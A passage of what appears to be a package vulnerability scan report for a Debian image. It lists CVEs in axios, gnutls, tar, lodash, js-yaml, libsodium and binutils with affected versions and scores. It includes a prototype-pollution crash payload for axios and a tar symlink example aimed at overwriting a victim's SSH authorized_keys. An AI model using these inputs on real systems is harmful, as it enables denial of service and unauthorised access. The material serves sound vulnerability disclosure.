Clone axios repository or npm install axios

Create file poc.mjs with the code above

Run: node poc.mjs

Observe the TypeError crash

Verified output (axios 1.13.4):
TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed:

Test Config Result

Normal config {"timeout": 5000} SUCCESS

Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH

Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests

Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

gnutls28 3.8.9-3 (deb)

pkg:deb/debian/gnutls28@3.8.9-3?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=3.8.9-3+deb13u1`
Fixed version	Not Fixed

Description

gnutls28 3.8.12-1
https://gitlab.com/gnutls/gnutls/-/issues/1773
Fixed by: https://gitlab.com/gnutls/gnutls/-/commit/d6054f0016db05fb5c82177ddbd0a4e8331059a1 (3.8.12)

Affected range	`<3.8.9-3+deb13u1`
Fixed version	`3.8.9-3+deb13u1`
EPSS Score	`0.010%`
EPSS Percentile	`1st percentile`

Description

A flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks.

[experimental] - gnutls28 3.8.11-1

gnutls28 3.8.11-3 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1121146)
[trixie] - gnutls28 3.8.9-3+deb13u1
[bookworm] - gnutls28 (Minor issue)
[bullseye] - gnutls28 (Minor issue; can be fixed in next update)
https://www.gnutls.org/security-new.html#GNUTLS-SA-2025-11-18
https://gitlab.com/gnutls/gnutls/-/issues/1732
Fixed by: https://gitlab.com/gnutls/gnutls/-/commit/1d56f96f6ab5034d677136b9d50b5a75dff0faf5 (3.8.11)

Affected range	`<=3.8.9-3+deb13u1`
Fixed version	Not Fixed
EPSS Score	`3.795%`
EPSS Percentile	`88th percentile`

Description

The SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer, Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with JavaScript code that uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API, aka a "BEAST" attack.

sun-java6 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=645881)
[lenny] - sun-java6 (Non-free not supported)
[squeeze] - sun-java6 (Non-free not supported)

openjdk-6 6b23~pre11-1

openjdk-7 7~b147-2.0-1

iceweasel (Vulnerable code not present)
http://blog.mozilla.com/security/2011/09/27/attack-against-tls-protected-communications/

chromium-browser 15.0.874.106~r107270-1
[squeeze] - chromium-browser

lighttpd 1.4.30-1
strictly speaking this is no lighttpd issue, but lighttpd adds a workaround

curl 7.24.0-1
http://curl.haxx.se/docs/adv_20120124B.html

python2.6 2.6.8-0.1 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=684511)
[squeeze] - python2.6 (Minor issue)

python2.7 2.7.3~rc1-1

python3.1 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=678998)
[squeeze] - python3.1 (Minor issue)

python3.2 3.2.3~rc1-1
http://bugs.python.org/issue13885
python3.1 is fixed starting 3.1.5

cyassl

gnutls26 (unimportant)

gnutls28 (unimportant)
No mitigation for gnutls, it is recommended to use TLS 1.1 or 1.2 which is supported since 2.0.0

haskell-tls (unimportant)
No mitigation for haskell-tls, it is recommended to use TLS 1.1, which is supported since 0.2

matrixssl (low)
[squeeze] - matrixssl (Minor issue)
[wheezy] - matrixssl (Minor issue)
matrixssl fix this upstream in 3.2.2

bouncycastle 1.49+dfsg-1
[squeeze] - bouncycastle (Minor issue)
[wheezy] - bouncycastle (Minor issue)
No mitigation for bouncycastle, it is recommended to use TLS 1.1, which is supported since 1.4.9

nss 3.13.1.with.ckbi.1.88-1
https://bugzilla.mozilla.org/show_bug.cgi?id=665814
https://hg.mozilla.org/projects/nss/rev/7f7446fcc7ab

polarssl (unimportant)
No mitigation for polarssl, it is recommended to use TLS 1.1, which is supported in all releases

tlslite
[wheezy] - tlslite (Minor issue)

pound 2.6-2
Pound 2.6-2 added an anti_beast.patch to mitigate BEAST attacks.

erlang 1:15.b-dfsg-1
[squeeze] - erlang (Minor issue)

asterisk 1:13.7.2dfsg-1
[jessie] - asterisk 1:11.13.1dfsg-2+deb8u1
[wheezy] - asterisk (Minor issue)
[squeeze] - asterisk (Not supported in Squeeze LTS)
http://downloads.digium.com/pub/security/AST-2016-001.html
https://issues.asterisk.org/jira/browse/ASTERISK-24972
patch for 11 (jessie): https://code.asterisk.org/code/changelog/asterisk?cs=f233bcd81d85626ce5bdd27b05bc95d131faf3e4
all versions vulnerable, backport required for wheezy

tar 1.35+dfsg-3.1 (deb)

pkg:deb/debian/tar@1.35%2Bdfsg-3.1?os_distro=trixie&os_name=debian&os_version=13

Affected range	`>=1.35+dfsg-3.1`
Fixed version	Not Fixed
EPSS Score	`0.068%`
EPSS Percentile	`21st percentile`

Description

GNU Tar through 1.35 allows file overwrite via directory traversal in crafted TAR archives, with a certain two-step process. First, the victim must extract an archive that contains a ../ symlink to a critical directory. Second, the victim must extract an archive that contains a critical file, specified via a relative pathname that begins with the symlink name and ends with that critical file's name. Here, the extraction follows the symlink and overwrites the critical file. This bypasses the protection mechanism of "Member name contains '..'" that would occur for a single TAR archive that attempted to specify the critical file via a ../ approach. For example, the first archive can contain "x -> ../../../../../home/victim/.ssh" and the second archive can contain x/authorized_keys. This can affect server applications that automatically extract any number of user-supplied TAR archives, and were relying on the blocking of traversal. This can also affect software installation processes in which "tar xf" is run more than once (e.g., when installing a package can automatically install two dependencies that are set up as untrusted tarballs instead of official packages).

Disputed tar issue, works as documented per upstream:
https://lists.gnu.org/archive/html/bug-tar/2025-08/msg00012.html
https://github.com/i900008/vulndb/blob/main/Gnu_tar_vuln.md

Affected range	`<=1.35+dfsg-3.1`
Fixed version	Not Fixed
EPSS Score	`2.806%`
EPSS Percentile	`86th percentile`

Description

Tar 1.15.1 does not properly warn the user when extracting setuid or setgid files, which may allow local users or remote attackers to gain privileges.

This is intended behaviour, after all tar is an archiving tool and you
need to give -p as a command line flag

tar (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=328228; unimportant)

lodash-es 4.17.21 (npm)

pkg:npm/lodash-es@4.17.21

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range	`>=4.0.0 <=4.17.22`
Fixed version	`4.17.23`
CVSS Score	`6.9`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H/E:P`
EPSS Score	`0.060%`
EPSS Percentile	`19th percentile`

Description

Impact

Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.

The issue permits deletion of properties but does not allow overwriting their original behavior.

Patches

This issue is patched on 4.17.23.

js-yaml 4.1.0 (npm)

pkg:npm/js-yaml@4.1.0

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range	`>=4.0.0 <4.1.1`
Fixed version	`4.1.1`
CVSS Score	`5.3`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`
EPSS Score	`0.020%`
EPSS Percentile	`4th percentile`

Description

Impact

In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.

Patches

Problem is patched in js-yaml 4.1.1 and 3.14.2.

Workarounds

You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).

References

https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html

libsodium 1.0.18-1 (deb)

pkg:deb/debian/libsodium@1.0.18-1?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<1.0.18-1+deb13u1`
Fixed version	`1.0.18-1+deb13u1`
EPSS Score	`0.023%`
EPSS Percentile	`5th percentile`

Description

libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.

libsodium 1.0.18-2 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1124374)
https://00f.net/2025/12/30/libsodium-vulnerability/
Fixed by: jedisct1/libsodium@ad3004e

lodash 4.17.21 (npm)

pkg:npm/lodash@4.17.21

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range	`>=4.0.0 <=4.17.22`
Fixed version	`4.17.23`
CVSS Score	`6.9`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:H/SI:H/SA:H/E:P`
EPSS Score	`0.060%`
EPSS Percentile	`19th percentile`

Description

Impact

Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.

The issue permits deletion of properties but does not allow overwriting their original behavior.

Patches

This issue is patched on 4.17.23.

binutils 2.44-3 (deb)

pkg:deb/debian/binutils@2.44-3?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.019%`
EPSS Percentile	`4th percentile`

Description

A vulnerability was found in GNU Binutils 2.44 and classified as problematic. This issue affects the function process_debug_info of the file binutils/dwarf.c of the component DWARF Section Handler. The manipulation leads to memory leak. Attacking locally is a requirement. The identifier of the patch is e51fdff7d2e538c0e5accdd65649ac68e6e0ddd4. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant)
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=e51fdff7d2e538c0e5accdd65649ac68e6e0ddd4
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.017%`
EPSS Percentile	`3rd percentile`

Description

A vulnerability, which was classified as problematic, has been found in GNU Binutils 2.45. Affected by this issue is the function bfd_elf_set_group_contents of the file bfd/elf.c. The manipulation leads to out-of-bounds write. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The name of the patch is 41461010eb7c79fee7a9d5f6209accdaac66cc6b. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant)
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=41461010eb7c79fee7a9d5f6209accdaac66cc6b
https://sourceware.org/bugzilla/show_bug.cgi?id=33050
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.017%`
EPSS Percentile	`3rd percentile`

Description

A vulnerability classified as problematic was found in GNU Binutils 2.45. Affected by this vulnerability is the function copy_section of the file binutils/objcopy.c. The manipulation leads to heap-based buffer overflow. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The patch is named 08c3cbe5926e4d355b5cb70bbec2b1eeb40c2944. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33049
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=08c3cbe5926e4d355b5cb70bbec2b1eeb40c2944
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.031%`
EPSS Percentile	`9th percentile`

Description

An issue was discovered in function d_abi_tags in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file.

binutils (unimportant)
binutils not covered by security support and most certainly bogus since they
were assigned for a very old binutils release

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.054%`
EPSS Percentile	`17th percentile`

Description

An issue was discovered in function d_print_comp_inner in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file.

binutils (unimportant)
binutils not covered by security support and most certainly bogus since they
were assigned for a very old binutils release

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.031%`
EPSS Percentile	`9th percentile`

Description

An issue was discovered in function d_print_comp_inner in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file.

binutils (unimportant)
binutils not covered by security support and most certainly bogus since they
were assigned for a very old binutils release

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.054%`
EPSS Percentile	`17th percentile`

Description

An issue was discovered in function d_discriminator in file cp-demangle.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file.

binutils (unimportant)
binutils not covered by security support and most certainly bogus since they
were assigned for a very old binutils release

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.054%`
EPSS Percentile	`17th percentile`

Description

A buffer overflow vulnerability in function gnu_special in file cplus-dem.c in BinUtils 2.26 allows attackers to cause a denial of service via crafted PE file.

binutils (unimportant)
binutils not covered by security support and most certainly bogus since they
were assigned for a very old binutils release

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.020%`
EPSS Percentile	`4th percentile`

Description

An issue was discovered in function d_unqualified_name in file cp-demangle.c in BinUtils 2.26 allowing attackers to cause a denial of service via crafted PE file.

binutils (unimportant)
binutils not covered by security support and most certainly bogus since they
were assigned for a very old binutils release

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.023%`
EPSS Percentile	`5th percentile`

Description

A vulnerability classified as critical has been found in GNU Binutils up to 2.44. This affects the function debug_type_samep of the file /binutils/debug.c of the component objdump. The manipulation leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32829
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=6c3458a8b7ee7d39f070c7b2350851cb2110c65a
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.022%`
EPSS Percentile	`5th percentile`

Description

A vulnerability was found in GNU Binutils up to 2.44. It has been rated as critical. Affected by this issue is the function elf_gc_sweep of the file bfd/elflink.c of the component ld. The manipulation leads to memory corruption. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. Upgrading to version 2.45 is able to address this issue. It is recommended to upgrade the affected component.

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32858
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=d1458933830456e54223d9fc61f0d9b3a19256f5
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.068%`
EPSS Percentile	`21st percentile`

Description

A vulnerability has been found in GNU Binutils 2.43/2.44 and classified as problematic. Affected by this vulnerability is the function display_info of the file binutils/bucomm.c of the component objdump. The manipulation leads to memory leak. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The patch is named ba6ad3a18cb26b79e0e3b84c39f707535bbc344d. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32716
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=ba6ad3a18cb26b79e0e3b84c39f707535bbc344d
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.027%`
EPSS Percentile	`7th percentile`

Description

A weakness has been identified in GNU Binutils 2.45. The affected element is the function vfinfo of the file ldmisc.c. Executing manipulation can lead to out-of-bounds read. The attack can only be executed locally. The exploit has been made available to the public and could be exploited. This patch is called 16357. It is best practice to apply a patch to resolve this issue.

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33455
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=f6b0f53a36820da91eadfa9f466c22f92e4256e0 (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.016%`
EPSS Percentile	`3rd percentile`

Description

A security flaw has been discovered in GNU Binutils 2.45. Impacted is the function tg_tag_type of the file prdbg.c. Performing manipulation results in unchecked return value. The attack needs to be approached locally. The exploit has been released to the public and may be exploited.

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33448
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=12ef7d5b7b02d0023db645d86eb9d0797bc747fe (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.306%`
EPSS Percentile	`53rd percentile`

Description

A vulnerability, which was classified as critical, was found in GNU Binutils 2.43. Affected is the function bfd_elf_reloc_symbol_deleted_p of the file bfd/elflink.c of the component ld. The manipulation leads to memory corruption. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The patch is identified as b425859021d17adf62f06fb904797cf8642986ad. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986)
https://sourceware.org/bugzilla/show_bug.cgi?id=32644
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=b425859021d17adf62f06fb904797cf8642986ad
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.408%`
EPSS Percentile	`61st percentile`

Description

A vulnerability classified as critical was found in GNU Binutils 2.43. This vulnerability affects the function _bfd_elf_gc_mark_rsec of the file bfd/elflink.c of the component ld. The manipulation leads to memory corruption. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The name of the patch is 931494c9a89558acb36a03a340c01726545eef24. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986)
https://sourceware.org/bugzilla/show_bug.cgi?id=32643
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=931494c9a89558acb36a03a340c01726545eef24
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.279%`
EPSS Percentile	`51st percentile`

Description

A vulnerability classified as problematic has been found in GNU Binutils 2.43. This affects the function _bfd_elf_write_section_eh_frame of the file bfd/elf-eh-frame.c of the component ld. The manipulation leads to memory corruption. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986)
https://sourceware.org/bugzilla/show_bug.cgi?id=32642
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.357%`
EPSS Percentile	`57th percentile`

Description

A vulnerability was found in GNU Binutils 2.43. It has been declared as problematic. Affected by this vulnerability is the function bfd_putl64 of the file libbfd.c of the component ld. The manipulation leads to memory corruption. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The identifier of the patch is 75086e9de1707281172cc77f178e7949a4414ed0. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986)
https://sourceware.org/bugzilla/show_bug.cgi?id=32638
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=75086e9de1707281172cc77f178e7949a4414ed0
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.348%`
EPSS Percentile	`57th percentile`

Description

A vulnerability was found in GNU Binutils 2.43 and classified as critical. This issue affects the function _bfd_elf_gc_mark_rsec of the file elflink.c of the component ld. The manipulation leads to heap-based buffer overflow. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The patch is named f9978defb6fab0bd8583942d97c112b0932ac814. It is recommended to apply a patch to fix this issue.

binutils 2.45-3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1108986)
https://sourceware.org/bugzilla/show_bug.cgi?id=32636
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=f9978defb6fab0bd8583942d97c112b0932ac814
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.599%`
EPSS Percentile	`69th percentile`

Description

A vulnerability classified as problematic was found in GNU Binutils 2.43/2.44. Affected by this vulnerability is the function bfd_set_format of the file format.c. The manipulation leads to memory corruption. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. Upgrading to version 2.45 is able to address this issue. The identifier of the patch is 8d97c1a53f3dc9fd8e1ccdb039b8a33d50133150. It is recommended to upgrade the affected component.

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32603
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=8d97c1a53f3dc9fd8e1ccdb039b8a33d50133150
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.181%`
EPSS Percentile	`40th percentile`

Description

A vulnerability classified as problematic has been found in GNU Binutils 2.43. Affected is the function xstrdup of the file xstrdup.c of the component ld. The manipulation leads to memory leak. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master."

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32576
binutils not covered by security support
These were fixed in master, so 2.45 at the time

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.167%`
EPSS Percentile	`38th percentile`

Description

A vulnerability was found in GNU Binutils 2.43. It has been rated as problematic. This issue affects the function xmemdup of the file xmemdup.c of the component ld. The manipulation leads to memory leak. The attack may be initiated remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master."

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32576
binutils not covered by security support
These were fixed in master, so 2.45 at the time

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.181%`
EPSS Percentile	`40th percentile`

Description

A vulnerability was found in GNU Binutils 2.43. It has been declared as problematic. This vulnerability affects the function bfd_malloc of the file libbfd.c of the component ld. The manipulation leads to memory leak. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master."

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32576
binutils not covered by security support
These were fixed in master, so 2.45 at the time

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.035%`
EPSS Percentile	`10th percentile`

Description

A vulnerability was determined in GNU Binutils 2.45. The affected element is the function elf_x86_64_relocate_section of the file elf64-x86-64.c of the component Linker. This manipulation causes heap-based buffer overflow. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. Patch name: 6b21c8b2ecfef5c95142cbc2c32f185cb1c26ab0. To fix this issue, it is recommended to deploy a patch.

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33502
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=6b21c8b2ecfef5c95142cbc2c32f185cb1c26ab0 (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.035%`
EPSS Percentile	`10th percentile`

Description

A vulnerability was found in GNU Binutils 2.45. Impacted is the function _bfd_x86_elf_late_size_sections of the file bfd/elfxx-x86.c of the component Linker. The manipulation results in out-of-bounds read. The attack needs to be approached locally. The exploit has been made public and could be used. The patch is identified as b6ac5a8a5b82f0ae6a4642c8d7149b325f4cc60a. A patch should be applied to remediate this issue.

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33499
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=b6ac5a8a5b82f0ae6a4642c8d7149b325f4cc60a (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.181%`
EPSS Percentile	`40th percentile`

Description

A vulnerability was found in GNU Binutils 2.43. It has been classified as problematic. This affects the function xstrdup of the file libiberty/xmalloc.c of the component ld. The manipulation leads to memory leak. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master."

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32576
binutils not covered by security support
These were fixed in master, so 2.45 at the time

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.405%`
EPSS Percentile	`61st percentile`

Description

A vulnerability was found in GNU Binutils 2.43 and classified as problematic. Affected by this issue is the function link_order_scan of the file ld/ldelfgen.c of the component ld. The manipulation leads to memory leak. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue. The code maintainer explains: "I'm not going to commit some of the leak fixes I've been working on to the 2.44 branch due to concern that would destabilise ld. All of the reported leaks in this bugzilla have been fixed on binutils master."

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32576
binutils not covered by security support
These were fixed in master, so 2.45 at the time

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.390%`
EPSS Percentile	`60th percentile`

Description

A vulnerability has been found in GNU Binutils 2.43 and classified as problematic. Affected by this vulnerability is the function __sanitizer::internal_strlen of the file binutils/nm.c of the component nm. The manipulation of the argument const leads to buffer overflow. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used.

binutils 2.45-3 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=32556
binutils not covered by security support
These were fixed in master, so 2.45 at the time

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.035%`
EPSS Percentile	`10th percentile`

Description

A vulnerability was determined in GNU Binutils 2.45. Affected by this vulnerability is the function get_link_hash_entry of the file bfd/elflink.c of the component Linker. This manipulation causes out-of-bounds read. The attack can only be executed locally. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.46 addresses this issue. Patch name: aeaaa9af6359c8e394ce9cf24911fec4f4d23703. It is advisable to upgrade the affected component.

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33450
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=aeaaa9af6359c8e394ce9cf24911fec4f4d23703 (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.035%`
EPSS Percentile	`10th percentile`

Description

A vulnerability was found in GNU Binutils 2.45. Affected is the function elf_link_add_object_symbols of the file bfd/elflink.c of the component Linker. The manipulation results in out-of-bounds read. The attack needs to be approached locally. The exploit has been made public and could be used. Upgrading to version 2.46 is able to address this issue. The patch is identified as 72efdf166aa0ed72ecc69fc2349af6591a7a19c0. Upgrading the affected component is advised.

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33452
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=72efdf166aa0ed72ecc69fc2349af6591a7a19c0 (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.035%`
EPSS Percentile	`10th percentile`

Description

A vulnerability has been found in GNU Binutils 2.45. This impacts the function bfd_elf_gc_record_vtentry of the file bfd/elflink.c of the component Linker. The manipulation leads to out-of-bounds read. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The identifier of the patch is 047435dd988a3975d40c6626a8f739a0b2e154bc. To fix this issue, it is recommended to deploy a patch.

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33452
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=047435dd988a3975d40c6626a8f739a0b2e154bc (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.034%`
EPSS Percentile	`10th percentile`

Description

